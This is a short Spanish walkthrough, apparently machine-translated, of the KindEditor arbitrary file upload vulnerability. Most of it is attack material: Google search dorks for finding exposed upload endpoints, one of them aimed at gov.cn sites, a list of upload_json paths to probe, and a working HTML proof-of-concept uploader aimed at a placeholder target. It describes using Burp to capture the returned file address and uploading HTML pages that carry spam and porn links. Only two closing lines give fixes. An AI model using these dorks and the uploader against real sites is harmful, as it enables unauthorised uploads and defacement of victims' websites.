Etapa temprana
Búsqueda de gramática de Google
inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp
inurl:gov.cn/kindeditor/
En primer lugar, debemos analizar el lenguaje de programación y prescribir el medicamento adecuado.
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
Compruebe si existe esa vulnerabilidad de carga de script
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
recurrente
1. Ver información de la versión
http://www.xxx.org/kindeditor//kindeditor.js
2. Verifique si la ruta existe
http://xxxxxxxxxxxxx/kindeditor/php/upload_json.php?dir=file
El poc dado por el grandullón, necesita ser modificado aquí.
<html><head>
<title>Uploader</title>
<script src="http://xxxxxxxxxxxxxxx/kindeditor/kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://xxxxxxxxxxxxxxx/kindeditor/php/upload_json.php?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
Guárdelo como 1.html
y use burp para capturar el paquete y ver la dirección devuelta.
También puede cargar el archivo .html, aquí está el archivo de carga favorito del atacante (que contiene varias direcciones de enlaces de páginas oscuras, como espinacas y otras enlaces de sitios pornográficos) dirección)
reparar
1. Elimine directamente upload_json. Y file_manager_json.
2. Actualice kindeditor a la última versión